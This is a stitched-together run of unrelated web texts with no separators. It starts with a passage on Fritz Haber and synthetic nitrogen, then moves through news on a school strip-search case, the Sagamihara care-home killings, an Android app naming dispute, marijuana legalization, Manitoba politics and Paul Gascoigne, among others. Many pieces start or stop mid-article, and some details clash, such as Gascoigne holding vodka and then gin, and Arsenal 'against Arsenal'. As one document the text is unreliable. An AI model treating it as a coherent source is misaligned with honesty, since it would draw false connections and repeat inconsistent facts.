This is why it may not be hyperbole to claim, as Smil does, that the Haber-Bosch process for fixing nitrogen (Bosch gets the credit for commercializing Haber's idea) is the most important invention of the 20th century. He estimates that two of every five humans on earth today would not be alive if not for Fritz Haber's invention. We can easily imagine a world without computers or electricity, Smil points out, but without synthetic fertilizer billions of people would never have been born. Though, as these numbers suggest, humans may have struck a Faustian bargain with nature when Fritz Haber gave us the power to fix nitrogen.
Fritz Haber? No, I'd never heard of him either, even though he was awarded the Nobel Prize in 1918 for "improving the standards of agriculture and the well-being of mankind." But the reason for his obscurity has less to do with the importance of his work than an ugly twist of his biography, which recalls the dubious links between modern warfare and industrial agriculture: during World War I, Haber threw himself into the German war effort, and his chemistry kept alive Germany's hopes for victory, by allowing it to make bombs from synthetic nitrate. Later, Haber put his genius for chemistry to work developing poison gases—ammonia, then chlorine. (He subsequently developed Zyklon B, the gas used in Hitler's concentration camps.) His wife, a chemist sickened by her husband's contribution to the war effort, used his army pistol to kill herself; Haber died, broken and in flight from Nazi Germany, in a Basel hotel room in 1934.
His story has been all but written out of the 20th century. But it embodies the paradoxes of science, the double edge to our manipulations of nature, the good and evil that can flow not only from the same man but from the same knowledge. Even Haber's agricultural benefaction has proved to be a decidedly mixed blessing.
When humankind acquired the power to fix nitrogen, the basis of soil fertility shifted from a total reliance on the energy of the sun to a new reliance on fossil fuel. That's because the Haber-Bosch process works by combining nitrogen and hydrogen gases under immense heat and pressure in the presence of a catalyst. The heat and pressure are supplied by prodigious amounts of electricity, and the hydrogen is supplied by oil, coal or, most commonly today, natural gas. True, these fossil fuels were created by the sun, billions of years ago, but they are not renewable in the same way that the fertility created by a legume nourished by sunlight is. (That nitrogen is fixed by a bacterium living on the roots of the legume, which trades a tiny drip of sugar for the nitrogen the plant needs.)
Liberated from the old biological constraints, the farm could now be managed on industrial principles, as a factory transforming inputs of raw material—chemical fertilizer—into outputs of corn. And corn adapted brilliantly to the new industrial regime, consuming prodigious quantities of fossil fuel energy and turning out ever more prodigious quantities of food energy. Growing corn, which from a biological perspective had always been a process of capturing sunlight to turn it into food, has in no small measure become a process of converting fossil fuels into food. More than half of all the synthetic nitrogen made today is applied to corn.
From the standpoint of industrial efficiency, it's too bad we can't simply drink petroleum directly, because there's a lot less energy in a bushel of corn (measured in calories) than there is in the half-gallon of oil required to produce it. Ecologically, this is a fabulously expensive way to produce food—but "ecologically" is no longer the operative standard. In the factory, time is money, and yield is everything.
One problem with factories, as opposed to biological systems, is that they tend to pollute. Hungry for fossil fuel as hybrid corn is, farmers still feed it far more than it can possibly eat, wasting most of the fertilizer they buy. And what happens to that synthetic nitrogen the plants don't take up? Some of it evaporates into the air, where it acidifies the rain and contributes to global warming. Some seeps down to the water table, whence it may come out of the tap. The nitrates in water bind to hemoglobin, compromising the blood's ability to carry oxygen to the brain. (I guess I was wrong to suggest we don't sip fossil fuels directly; sometimes we do.)
It has been less than a century since Fritz Haber's invention, yet already it has changed earth's ecology. More than half of the world's supply of usable nitrogen is now man-made. (Unless you grew up on organic food, most of the kilo or so of nitrogen in your body was fixed by the Haber-Bosch process.) "We have perturbed the global nitrogen cycle," Smil wrote, "more than any other, even carbon." The effects may be harder to predict than the effects of the global warming caused by our disturbance of the carbon cycle, but they are no less momentous.
The flood of synthetic nitrogen has fertilized not just the farm fields but the forests and oceans, too, to the benefit of some species (corn and algae being two of the biggest beneficiaries) and to the detriment of countless others. The ultimate fate of the nitrates spread in Iowa or Indiana is to flow down the Mississippi into the Gulf of Mexico, where their deadly fertility poisons the marine ecosystem. The nitrogen tide stimulates the wild growth of algae, and the algae smother the fish, creating a "hypoxic," or dead, zone as big as New Jersey—and still growing. By fertilizing the world, we alter the planet's composition of species and shrink its biodiversity.
The U.S. Supreme Court will decide whether school officials were right to strip-search a student over ibuprofen.
The justices accepted the case Friday for review. They will decide whether a campus setting gives school administrators greater discretion to control students suspected of illegal activity than police are allowed in cases involving adults in public spaces.
Arguments are expected to be heard in April.
At issue is whether school administrators are constitutionally barred from conducting searches of students investigated for possessing or dealing drugs that are banned on campus.
A federal appeals court found the search "traumatizing" and illegal.
Some parents say older children deserve the same constitutional rights as adults, but educators counter that a school setting always has been treated differently by the courts. They say a ruling against them could jeopardize campus safety.
The case involves Savana Redding, who in 2003 was an eighth-grade honor student at Safford Middle School, about 127 miles from Tucson, Arizona. Earlier that day the vice principal had discovered prescription-strength ibuprofen pills in the possession of one of Redding's classmates. That student, facing punishment, accused Redding of providing her with the 400-milligram pills.
The school has a zero-tolerance policy for all prescription and over-the-counter medication, including the ibuprofen, without prior written permission.
Redding was pulled from class by a male vice principal, Kerry Wilson, escorted to an office and confronted with the evidence. She denied the accusations.
A search of Redding's backpack found nothing. Then, although she had never had prior disciplinary problems, a strip-search was conducted with the help of a school nurse and Wilson's assistant, both females. According to court records, she was ordered to strip to her underwear and her bra was pulled out. Again, no drugs were found.
In an affidavit, Redding said, "The strip-search was the most humiliating experience I have ever had. I held my head down so that they could not see that I was about to cry."
With the help of the American Civil Liberties Union, Redding and her family sued, and a federal appeals court in San Francisco, California, ruled against the school.
The court wrote: "Common sense informs us that directing a 13-year-old girl to remove her clothes, partially revealing her breasts and pelvic area, for allegedly possessing ibuprofen ... was excessively intrusive."
The court said the school went too far in its effort to create a drug- and crime-free classroom. "The overzealousness of school administrators in efforts to protect students has the tragic impact of traumatizing those they claim to serve. And all this to find prescription-strength ibuprofen."
In its appeal to the high court, the school district said requiring a legal standard of "probable cause" to conduct student searches would cast a "roadblock to the kind of swift and effective response that is too often needed to protect the very safety of students, particularly from the threats posed by drugs and weapons."
The high court has had a mixed record over the years on students' rights. The court could now be asked to clarify the extent of student rights involving searches, and the discretion of officials over those for whom they have responsibility.
But just hours earlier, Satoshi Uematsu, 26, is alleged to have brutally killed 19 people in a Tokyo care facility and injured a further 26 others.
A picture emerged on Wednesday of the man being blamed for the country’s worst mass killing in decades.
But far from showing remorse for his actions or regret for the heartache he’s caused, Uematsu looked happy and relaxed. Bent over in the back of a police car, his distinctive blond hair tumbling across his forehead, he smiled warmly at the media throng outside.
Uematsu was transferred on Wednesday morning from a local police station in the city of Sagamihara, 50km west of Tokyo, to the prosecutor’s office in Yokohama.
His head and shoulders covered with a blue jacket, he was led out of a police station and into the back of an unmarked white van with emergency lights on top.
Uematsu had been held at the police station all day and overnight after turning himself in about two hours after Tuesday’s pre-dawn attack.
Police also searched the man’s house in the same city.
Kanagawa prefectural authorities said Uematsu had left dead or injured nearly a third of the almost 150 disabled patients at the facility in a matter of 40 minutes.
In a chilling letter, penned in February, the suspect had called for the “euthanasia” of disabled people and said he would be willing to carry out the acts himself if needed.
Uematsu boasted in the letter that he had the ability to kill 470 disabled people in what he called was “a revolution”, and outlined an attack on two facilities, after which he said he would turn himself in. He also asked he be judged innocent on grounds of insanity, be given 500 million yen ($5 million) in aid and plastic surgery so he could lead a normal life afterwards.
“My reasoning is that I may be able to revitalise the world economy and I thought it may be possible to prevent World War III,” the letter said.
After the letter was intercepted, Uematsu was “hospitalised” by officials in the Kanagawa prefecture.
Police said they responded to a call about 2.30am on Tuesday morning from an employee saying something horrible was happening at the facility.
Uematsu allegedly entered the building about 2.10am by breaking a glass window on the first floor of a residential building at the facility, a health official told reporters at a news conference.
He then set about slashing the patients’ throats. The youngest victim was 19, the oldest 70.
About two hours later a man turned himself in at a police station, police in Sagamihara said.
Uematsu had worked at the facility until February.
Japanese broadcaster NTV reported that Uematsu was upset because he had been fired, but that could not be independently confirmed.
The facility, called the Tsukui Yamayuri-en, was home to about 150 adult residents who have mental disabilities, Japan’s Kyodo News service said.
Details of the attack, including whether the victims were asleep or otherwise helpless, were not immediately known. Kanagawa prefecture welfare division official Tatsuhisa Hirosue said many details weren’t clear.
Uematsu had worked at Tsukui Yamayuri-en, which means mountain lily garden, from 2012 until February, when he was let go. He knew the staffing would be down to just a handful in the early hours of the morning, Japanese media reports said.
The facility employs more than 200 people, including part-timers, with nine of them working the night of the attack, Hirosue said. All those killed were patients.
“They were working at night and were questioned by police after witnessing graphic violence, making them a little emotionally unstable now,” he said.
Some people in the area said they were shocked that Uematsu was accused, and described him as polite and upstanding.
Akihiro Hasegawa, who lived next door to Uematsu, said he heard the man had got into trouble with the facility, initially over sporting a tattoo, often frowned upon in mainstream Japanese society because of its association with criminal groups.
“He was just an ordinary young fellow,” he said.
Mass killings are rare in Japan. Because of the country’s extremely strict gun-control laws, any attacker usually resorts to stabbing. In 2008, seven people were killed by a man who slammed a truck into a crowd of people in central Tokyo’s Akihabara electronics district and then stabbed passers-by.
The automated email, titled “14-day Notification: Violation of the Android branding guidelines”, explains that if we do not comply in 2 weeks, our app will be removed from the Google Play Store. The violation? Using the word Android. The demand? Rename our app. Copied directly from the E-Mail:
Edit the title of your app by removing “Android” as the prominent brand name. Instead, use “(title of app) for Android” as an alternative. Here’s an example: Incorrect: “Android MediaPlayer”
Correct: “MediaPlayer for Android”
So tell us, Google, who are we?
Forums for Android?
Android Forums for Android?
AndroidForums.com?
We have been called Android Forums since November 5th, 2007 and although many people have imitated our name, imitated our website, and even call themselves “Android Forums”- it’s hard to argue with a 7 year history as the original Android Forums at AndroidForums.com.
Search the Google Play Store for “Android Forums” and you’ll find a lot of sites calling themselves Android this or Android that- but none of them are actually THE AndroidForums.com with a 7 year track record of being named “Android Forums”, years before the Google Play Store even existed.
Will all of our fellow Android blogs suffer the same fate?
Android Authority becomes Authority for Android
Android Central becomes Central for Android
Android Community becomes Community for Android
Android Police becomes Police for Android
Android And Me becomes And Me for Android
And the list goes on….
The situation becomes even more bleak when you search the Google Play Store for “Android News”: you find a plethora of spam apps named “Android News” yet we’re the ones being singled out. And we’ve been singled out before.
Phandroid gets banned from the Play Store
You may recall that the Phandroid News for Android app was once called Android News by Phandroid. We gave it that name because we were NOWHERE to be found in relevant searches for android news, android blogs, or android anything on the Google Play Store. Some could say we were trying to “game the system” or “over-SEO” our app – and I’d have a hard time disagreeing with much more than the tone of that categorization. Apparently Google felt the same: issuing Phandroid a removal notice of its own.
However, Android News by Phandroid wasn’t given a warning, it was simply pulled from the store:
REASON FOR REMOVAL: Violation of section 6.3 of the Developer Distribution Agreement.
The details within the email were alarming, frustrating, and stressful:
Serious or repeated violations of any nature will result in the termination of your developer account
Possible termination of related Google accounts
Google may recover the proceeds of any past sales
At this time, we were given no specific reason for our removal and no suggested actions to bring our app in compliance. We were 100% happy to comply and wanted to make sure we played by Google’s rules, we just needed to know how! So I responded to Google asking for exactly that: some help understanding how I can best comply.
Here is the response I got back:
Instead of relying on attendants, the meters use automatic cameras to keep track of scofflaws, and there’s no ticket on the windshield at the time to indicate a violation has taken place.
The Better Business Bureau has dealt with dozens of complaints in the last two years about the Minnesota-based operator of the meters, Municipal Parking Services. Drivers complain they’ve made momentary stops to let passengers out at the train station, only to get a $75 ticket in the mail a few weeks later.
Earlier this year, a woman wrote to demand her money back after she was ticketed when her husband, “stopped to check price/time at parking stall but noticed a free spot further down the road so went there to park. A camera took a picture of the car while he was out of the car checking regulations.”
The ultimate resolution of that complaint is redacted in BBB’s online records.
Many people have also complained about how difficult it is to reach MPS to dispute their tickets.
A typical complaint reads: “Their bill says to email them which I did 2 times and tried calling a number of times. They just keep sending bills without responding to emails or acknowledging receiving them. I did receive one automated email … and they never responded, only threatened in a 3rd notice to send to collections and charged a late fee on top of it.”
The company has also caused issues for many of the 15,000 members of Modo car share, according to marketing director Selena McLachlan.
“We’re seeing a huge increase in problems, because there’s no physical evidence that there ever was a ticket. It makes it even more problematic to dispute. You’re not aware of it,” McLachlan said.
The meters at Pacific Central Station appear to be the only ones of their kind in Vancouver, although MPS has plans to expand here in the near future. The photo meter technology was originally developed in Vancouver and MPS bought the patent in 2012.
Via Rail spokesman Maxime Dupont-Demers said the train company hasn’t received any complaints from customers about the MPS meters at Pacific Central Station.
According to MPS, the meter’s sensors register when a vehicle enters and leaves the parking space, and tickets are only issued when the car has been there for more than five minutes. When the bill arrives in the mail, it includes a photo of the driver’s vehicle stopped in the parking spot.
It’s not at all unusual for drivers to dispute parking tickets, but according to McLachlan, what makes MPS different from other operators is how difficult it is to get through to the company to complain.
To date, McLachlan said that no one at Modo has had any success disputing a ticket with MPS.
The Anglo-Swiss squad announced last month its departure from the LMP1 Privateer category at the end of the year, to be replaced by a LMP2 effort, either in the FIA World Endurance Championship, European Le Mans Series, IMSA WeatherTech SportsCar Championship, or a combination of two.
It marks a continued partnership with the French constructor, which built the team’s Rebellion R-One LMP1 cars that debuted in 2014.
“The 2017 LMP2 races are going to be ultra competitive and that makes choosing the right chassis partner very important,” said team manager Bart Hayden.
“With the R-Ones, we have appreciated the skill of the ORECA designers and we have witnessed the success of their 05 LMP2 chassis, so it was almost a logical choice for us to continue our association together.
“We are excited by this new challenge and are looking forward to getting our hands on the first of our new cars.”
ORECA President Hugues de Chaunac added: “After the success and the great challenge with the R-One, it was logical and natural to continue the excellent relationship of work built up over the past years.
“The arrival of the team in LMP2 is very good news for the category.”
The 58-year-old Shark Tank star has already ponied up part of the $7 million series A funding round for esports gambling company Unikrn — so he wants a piece of the pie. Just not a team's piece.
“I haven’t and won’t invest in teams,” Cuban told Fusion.
“Right now it’s a gold rush to buy and sell and build teams. That’s creating a confused market. But more importantly, I’m worried about how quickly players burn out. It’s a grind to keep up and to become great. Particularly at LoL. I know teams are trying to do more, but the number of hours involved is a real concern for me. I’m not closing the door, but it’s not something I would pursue right now.”
Cuban says his concerns are mainly in player burn-out. Rightfully so, most player's careers start in their early teens then end in their 20s — a shorter shelf life than even a traditional athlete.
Many blame player burnout on the high bar foreign cultures have set for practicing. Korean League of Legends teams are largely to blame; many Korean LoL player contracts state that in order to be signed you must commit to 12-13 hour days of practice.
It was also rumored that players would have two hours of "free time" per day ... then be benched or expelled if they exceeded it. Over the last few years these practices have put the pressure on western teams to follow suit.
Eine veraltete Software in ihrem Navigationsgerät hatte vermutlich eine 49-jährige Autofahrerin aus Frechen. Wie die Polizei berichtet, fuhr sie gegen 20 Uhr am Donnerstagabend mit ihrer 18-jährigen Tochter auf der L 276 am Hambacher Forst und geriet auf die RWE-Werkstraße in Richtung alte A-4-Auffahrt.
Obwohl sie langsam unterwegs war, fuhr sie nahezu ungebremst in einen dort aufgeschütteten Sandwall, der ein Auffahren auf die alte A 4 verhindern soll. Bei dem Aufprall verletzte sich die 18-Jährige leicht. Unmittelbar nach dem Unfall erschienen nach Angaben der beiden Frauen etwa 20 vermummte Personen, augenscheinlich aus der Waldbesetzerszene.
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Barrikaden errichtet und angezündet
Weitere Personen errichteten in der Nähe der Unfallstelle Barrikaden und zündeten diese an. Rettungskräfte und Polizei mussten so warten, bis der Feuerwehr das Feuer gelöscht und die Barrikaden beseitigten hatte.
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“It’s a huge disservice to young people to put shame into the equation. That’s what bothers me the most about it and why I speak so openly about sex,” Banks said. “I promote safe sex, always, and abstinence until you are madly in love. But at the same time, I have no desire to shame any young person about what’s going on in their life or about general sexuality or their bodies.”
Inspired by Banks’ awesomeness, here’s a round-up of quotes from famous-pants women getting real about S-E-X in the smartest and most insightful way possible to get real.
1. BETTY FRIEDAN
“No woman gets an orgasm from shining the kitchen floor.”
2. MARILYN MONROE
“We are all born sexual creatures, thank God, but it’s a pity so many people despise and crush this natural gift.”
3. AMY SCHUMER
“It’s work having a vagina. Guys don’t think that it’s work but it is. You think it shows up like that to the event? It doesn’t. Every night it’s like getting it ready for its first Quinceanera, believe me.”
4. MARGARET CHO
“I was like, Am I gay? Am I straight? And I realized. . . I’m just slutty. Where’s my parade?”
5. BEYONCÉ
“There is unbelievable power in ownership, and women should own their sexuality. There is a double standard when it comes to sexuality that still persists. Men are free and women are not. That is crazy. The old lessons of submissiveness and fragility made us victims. Women are so much more than that. You can be a businesswoman, a mother, an artist, and a feminist — whatever you want to be — and still be a sexual being. It’s not mutually exclusive.”
6. AUDREY HEPBURN
“There is more to sex appeal than just measurements. I don’t need a bedroom to prove my womanliness. I can convey just as much sex appeal, picking apples off a tree or standing in the rain.”
7. ANGELINA JOLIE
“I think it is funny that we were freer about sexuality in the 4th century B.C. It is a little disconcerting.”
8. GLORIA STEINEM
“A liberated women is one who has sex before marriage and a job after.”
(Note: Steinem was speaking for her time, where sex before marriage and a job after didn’t seem like choices for a lot of women the way they are now, but you can totally not have sex before marriage in the 21st century or not have an out-of-the-house job and still be liberated, take the quote in the context it was meant, kthanksbye.)
9. MAE WEST
“Good sex is like good bridge. If you don’t have a good partner, you’d better have a good hand.”
10. ERICA JONG
“The greatest feminists have also been the greatest lovers. I’m thinking not only of Mary Wollstonecraft and her daughter Mary Shelley, but of Anais Nin, Edna St. Vincent Millay, and of course Sappho. You cannot divide creative juices from human juices. And as long as juicy women are equated with bad women, we will err on the side of being bad.”
11. MARLENE DIETRICH
“Sex: In America an obsession. In other parts of the world a fact.”
12. TINA FEY
“When choosing sexual partners, remember: Talent is not sexually transmittable.”
Chelsea, Arsenal and Manchester City all exited the Champions League in the last 16, while Everton's defeat to Dynamo Kiev in the Europa League meant a total wipeout of the English sides in Europe.
And Scholes, the former Manchester United midfielder who twice lifted the European Cup, has entered the debate on why English clubs are so inferior to their continental counterparts.
Paul Scholes (centre) believes Barcelona, Real Madrid or Bayern Munich would dominate the Premier League
Mesut Ozil's Arsenal fought back strongly against Arsenal but couldn't overturn the 3-1 first leg deficit
Dejected Chelsea players walk off following their loss to Paris Saint-Germain last week
Writing in The Independent, Scholes said: 'Over the last two weeks our coaches and players in the Champions League have looked second rate.
'If you put one of Barcelona, Real Madrid or Bayern Munich in the Premier League, they would win it by 10 to 15 points.
'Even PSG and Juventus look better sides than any of those currently at the top of the Premier League.'
While some have blamed the lack of a winter break for English failings, Scholes puts it down simply to inferior players.
Paul Scholes has twice won the European Cup with Manchester United - in 1999 and 2008 (pictured)
Scholes played 134 European matches during his career, scoring on 26 occasions
The United States now has eight states, plus the District of Columbia, where recreational marijuana is now legal. Four other states — Arkansas, Florida, Montana and North Dakota — passed ballot measures Tuesday night legalizing medical marijuana. Medical marijuana is now legal in 28 states, plus D.C.
"This is obviously a positive development, particularly with the size of California," Morgan Fox, a spokesman for the Marijuana Policy Project, told Patch by phone early Wednesday morning. "The money that was going into the hands of criminals is going to be going into legitimate businesses."
In states where these initiatives passed, the new laws will pave the way for openings of recreational marijuana stores and public spaces where people can smoke publicly, as happened in Colorado, Washington, Oregon and Alaska, where weed is already legal.
SEE ALSO: Full Presidential Election Results As They Come In
States were reporting high voter turnout, likely because of the highly charged presidential race at the top of the ticket.
Maine Secretary of State Matthew Dunlap reported strong voter turnout throughout the state Tuesday morning. "Voter participation is high," Dunlap said in a statement. Turnout was also strong across much of Massachusetts.
RELATED:
Marijuana Legalized in Massachusetts; Question 4 Passes
California Legalizes Marijuana: Proposition 64 Passes
Marijuana policy experts told Patch that favorable results would also further normalize legal marijuana use, which has passed already in four states and the District of Columbia, and bolster the case to end federal laws against marijuana usage, many of which aren't enforced.
"It's really going to create examples for people in other states to look at when they're considering their own marijuana policies," Fox told Patch.
A recent study found that in 2015, marijuana legalization injected Colorado with nearly $120 million in new tax revenue from nearly $1 billion in sales. That led to $2.39 billion of economic impact, the study found, through the creation of 18,000 new jobs, business-to-business transactions and indirect job creation.
"All of it just generates and spins through the economy," Jacob Rowberry, an associate at the Marijuana Policy Group, which commissioned the study, told Patch.
The legalization on the ballot in these five states would result in laws similar to those governing alcohol use.
Anyone 21 or older would be able to possess small amounts of marijuana and be allowed to grow a few plants in their home. Businesses would be required to obtain proper licenses for selling and distributing. And tax revenue would be carefully allocated to fund various state programs.
The states vary some on possession amounts, tax revenue distribution and criminal enforcement, issues which are decided at the state and local level.
While Colorado, Washington, Oregon and Alaska already have legalized marijuana, a (largely ignored) federal ban remains, despite shifting public opinion.
The federal ban is hardly enforced — the Department of Justice has all but told federal law enforcement to stand down — but still causes headaches on taxes and banking.
Tuesday's votes could push the federal ban one step closer to extinction.
"This is a big election, arguably bigger than the one we had two years ago where we added two states to the map," Michael Collins, deputy director of the Drug Policy Alliance, told Patch. "In California, one of the biggest states in the nation, all of the big state-versus-federal conflicts are going to be dramatically increased by what goes on. The end game is in sight."
Here's some more information on the specifics from each state.
Arizona
Arizona's Proposition 205 allows for an ounce of possession and up to six plants at home. It will send money to school construction, kindergarten programs and public drug education.
California
California, the most populous state in the union with more than 38 million residents, would be the biggest win for the pro-legalization crowd. It's also proposed the most sweeping changes. Among them: creating a system to retroactively reduce sentences for drug offenses.
The initiative, which allows for an ounce of possession and six plants at home for people over 21, has 58 percent support among Californians, according to a recent LA Times poll.
Maine
Maine's Question 1 is more lenient, allowing people to possess up to 2.5 ounces of marijuana and have six flowering plants and 12 nonflowering plants in their home.
Massachusetts
Massachusetts' Question 4 would allow, also, for an ounce of possession and six plants. A 3.75 percent excite tax would go to regulations and the state's general fund.
Nevada
Nevada's Question would allow an ounce of possession. And anyone who does not live within 25 miles of a marijuana retail store can grow up to six plants in their home.
Image via Shutterstock
Singaporean bureaucrats are less afraid to criticize their government than American bureaucrats are to criticize theirs. Neither group would be afraid of legal punishment; but the Americans would be more worried that saying the wrong thing would hurt their careers.
Why is that? Commenter Devin Finnbar writes:
I believe it. Tocqueville noted that American democracy had less free speech than the European monarchies, because of the overwhelming social pressure to say the right thing.
I find this fascinating. Let me see if I can flesh out this idea a bit more.
In a democracy, policy shifts due to shifts in public opinion. Random changes in public opinion won’t do. They have to be coordinated. Opinion is coordinated through signaling and sanctions, both subtle and unsubtle. So, in a democracy, stating an opinion is a move in a delicate coordination game. There is a lot of pressure to be on the team. Coalition democratic politics is largely about trying to sabotage the other side’s attempts at solving the opinion-coordination problem. If you are a bureaucrat, you will be especially sensitive to the demands of conformity and solidarity in producing policy change, so you will tend to toe the line. You probably won’t think about this strategically. People whose sincere opinions tend to track the needs of their political coalition will be trusted within political coalitions, and will tend to get assigned to desirable government jobs.
In a Singapore-style technocracy, public opinion is just one of many constraints to take into account in formulating policy. But then public opinion can’t serve as the basis for a sense of the legitimacy of a policy or a policymaker. If the technocrat actually cares about legitimacy, then she probably cares a lot about effectiveness. The reason its okay to go over the heads of the people is that what you’re doing actually works to make them better off. Additionally, if you’re a bureaucrat, have a good idea, and can argue for it, it just might become policy. Especially if you are willing to let your boss take credit for it. In a well-functioning technocracy, status accrues to people who produce new ideas for effective policy.
So bureaucrats in a technocracy will be motivated to explore ideas, while bureaucrats in a democracy will be motivated to signal and recruit fidelity to the coalition’s pre-assigned ideas. Free-thinking exploration could spell defeat!
Some related thoughts:
The glacial nature of shifts in democratic public opinion are part of what kept the U.S. from adopting more heavily socialist policies mid-century.
Implementing the policies best supported by the social-scientific consensus once meant “economic planning,” and that is bound to fail for familiar reasons. But the fact that those reasons are familiar explains why technocracy is now less likely to fail.
Milton Friedman claimed that capitalism and freedom are inextricably linked. If this is an empirical and not a conceptual claim, we could find that this is false if politically free people again and again choose against economic freedom, or if the rulers of politically unfree countries show some tendency to choose policies of economic freedom.
In principle, free-market technocracies seem dangerously unstable in ways liberal democracies do not. But that doesn’t imply a free-market technocracy can’t have a good run before becoming captured by malign forces. How much will it matter to people in democracies that their liberties are more secure in the long run if it comes to pass that a technocracy on a heater is actually producing 3x the democracy’s per capita income?
In that scenrio, “Canadian citizen living in Singapore” will dominate “Canadian citizen living in Canada” or “Singapore citizen living in Singapore.” Why not live in the richest jurisdiction as long as you can always retreat to the freest if things go south?
Singapore can’t absorb a ton of Americans or Canadians, but China could. If China becomes a huge Singapore, do liberal democracies develop a brain drain problem? Could this push democracies toward freer market policies and vindicate Friedman in the end?
It was also revealed Saturday that Hillary Clinton’s campaign Treasurer Jose H. Villarreal has been linked to Monsanto lobbying payments of $150,000 so far in 2016.
This new Monsanto bombshell for the Clinton campaign was released by Brasil sem Monsanto and Sustainable Pulse following a search of publicly available lobbying records.
Podesta Group
The lobbying disclosure records from the U.S. House of Representatives records show that Wilmer Cutler Pickering Hale & Dorr LLP “on behalf of Monsanto” made payments of $90,000 and $60,000 to the Podesta Group in 2015.
The Podesta Group is a lobbying and public affairs firm based in Washington, D.C.. It was founded in 1988 by John Podesta and his brother Tony Podesta. Tony Podesta is the current Chairman of the company and it was recently revealed in the Washington Examiner that he has been given special access to the White House by his brother John, who is no longer part of the family firm.
John Podesta himself was White House Chief of Staff under President Bill Clinton, an official Counselor to President Barack Obama and is now campaign Chairman to Hillary Clinton.
The Podesta Group has also received $90,000 so far in 2016 from the Biotechnology Innovation Organization (BIO), which is the world’s largest biotech trade association.
Akin Gump Strauss Hauer & Feld
The Hillary Clinton campaign Monsanto lobbying revelations do not stop with the Podesta Group.
Clinton campaign Treasurer Jose H. Villarreal is a consultant with the lobbying firm Akin Gump Strauss Hauer & Feld LLP, which has received $150,000 from Monsanto and $60,000 from BIO so far in 2016. Prior to becoming a consultant for Akin Gump, Villarreal was a longtime partner of the company.
Akin Gump Strauss Hauer & Feld LLP also receive a regular annual payment of around $200,000 from Monsanto. This lobbying firm also provides lobbying services for Monsanto in India.
Akin Gump Strauss Hauer & Feld LLP, headquartered in Washington, D.C., is an American international law firm and the most profitable lobbying firm in the United States.
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"I think they must be short of material," Tory Leader Brian Pallister says the fact the Liberals and the NDP are both featuring him in political ads won't change his election game. (Chris Glover) Manitoba pollster Curtis Brown said the pre-election campaign will target Pallister as the "front-runner," even though Manitobans don't vote for another four months.
"The polls show that he's ahead and there's a very good chance that he could become the next premier of the province," said Brown, the vice president with Probe Research Inc.
In a fixed election year, like 2016, a registered party can spend $268,000 on advertising, but under Manitoba law there is no limit for advertising in a non-election year.
Brown said it makes sense for the Liberals and the NDP to attack Pallister.
"The NDP really aren't saying anything positive," the pollster said. "It's all about how Brian Pallister is going to cancel Christmas and do all these terrible things to Manitoba."
So far, only the Tories are running television commercials. Two of them attack the NDP over the caucus revolt against Premier Greg Selinger last fall.
The third features a seated Pallister talking about his past career as a teacher and the influence of his mom and sister.
"The Conservatives are really trying to soften Brian Pallister and make him a more sympathetic figure, someone who's not going to cut and who values the public service."
PC leader jokes about being political target
"I think they must be short of material, frankly, I don't take a good picture," Pallister said about being featured in both Liberal and NDP advertising.
Manitoba Pollster Curtis Brown leafs through political ads ahead of the 2016 provincial election. (Chris Glover) Regardless of the fact that he's leading in some polls, Pallister said he'll play this election as if he's trailing.
"I'll continue and I'll encourage all my colleagues and supporters and volunteers to continue to work very very hard," he said. "We've won absolutely nothing at all yet, and, look, I was six-foot-three in Grade 8, so I'm used to getting shot at, it's ok. If the NDP wants to attack me to deflect from their record, I understand that because it's deplorable."
Pallister accused the NDP of misleading voters. At the first leaders debate of this pre-election campaign in Brandon, Premier Selinger accused Pallister of supporting private health clinics.
"I never said that I was for two-tier health," Pallister said. "We are profoundly supporters of universal healthcare and the Canada Health Act. So those assertions were made falsely."
'That choice is a stark choice'
The Manitoba NDP have not rolled out TV commercials yet, however, veteran campaigner MLA Jennifer Howard said bus ads will pop up soon.
"It's going to be an extremely competitive election and I think there's lots of people who are taking a serious look at Brian Pallister and thinking about the possibility of him leading a government and I think we want those folks who are considering that to get all the information and part of that is his values don't align with the values of today's Manitoba," Howard said.
One NDP flyer uses a tag line that reads: 'Brian Pallister's values? They're probably not yours."
Howard said her party will talk about its record over such things as abortion services and support for an inquiry into missing and murdered indigenous women, but mostly to compare it to the Tories.
"We will talk about our record, but we're also going to be very clear that there is a choice in this election and that choice is a stark choice," she said.
Rebellious words bite back
Howard is one of the five cabinet ministers who called on the premier to quit last fall amidst a revolt that culminated in Selinger winning the NDP leadership election in March. Howard, along with one of the other dissidents, NDP MLA Andrew Swan, announced she would seek re-election with the NDP.
Now, there's a clip of Howard attacking Selinger from the day she quit his cabinet being used in a PC advertisement.
"The fact that that happened is historical. I think people know that it happened, it was difficult for a lot of Manitobans, it was difficult for them to watch and its over. And now, what the focus is, and what my focus is, and the reason - one of the reasons I'm running is because I want a Manitoba for my kids that is very different than the one that Brian Pallister is bringing."
'We don't see Selinger as a strong player in this election,' Liberals say
A cell phone warning message accompanies the latest Manitoba Liberal political flyer that says the PCs and the NDP "out of date". The director of communications for the Manitoba Liberals, Mike Brown, said they are watching their purse strings closely and likely won't run television ads until the New Year.
A flyer the Liberals recently mailed out uses the backdrop of a mobile phone. On one side it shows Pallister and Selinger as an out of date "operating system" needing an upgrade.
On the flip side, it shows Liberal Leader Rana Bokhari and some of the campaign promises she's made.
"We'll attack both as required. We don't see Selinger as a strong player in this election, so we'll be focusing mostly on Brian Pallister," said Brown, who used to be the PCs director of communications. "It's his election to lose and he knows that and he's acting like a guy that's the front runner and he's doing virtually nothing to solidify that."
The liberals plan to post videos to social media soon to get their messaging across.
According to the Daily Mirror, Gascoigne was found slumped outside his penthouse apartment in Poole, Dorset 'cluthing a bottle of vodka'
England legend Gascoigne had earlier registered for Abbey FC, a Bournemouth Sunday league side
Gascoigne was taken away from the home and taken to Poole Hosptial after paramedics and police were called on Thursday
Paul Gascoigne has been admitted to hospital following an apparent drinking binge.
The England legend, who made 57 appearances for his country, was found slumped outside his penthouse apartment in Poole, Dorset, clutching a bottle of gin.
He is reportedly in the process of being evicted from the £3million rented penthouse, because neighbours had recently complained about noise levels.
VIDEO Scroll down to watch Harry Redknapp: Gazza has got a job at QPR anytime he wants
Frail: Paul Gascoigne, who made over 50 appearances for England, was escorted from his home in Dorset
Frail: The former England midfielder looked gaunt and almost unrecognisable from his footballing glory days
Helping hand: The 47-year-old was taken away by emergency services from his home in Dorset
Legend: Gascoigne, waving to a crowd in 2011, is still adored by football fans
According to the Daily Mirror, Gascoigne was taken away from the home to Poole Hospital after paramedics and police were called earlier on Thursday.
A spokeswoman for South West Ambulance Service confirmed paramedics were called to attend to a patient in the Sandbanks area on Wednesday afternoon.
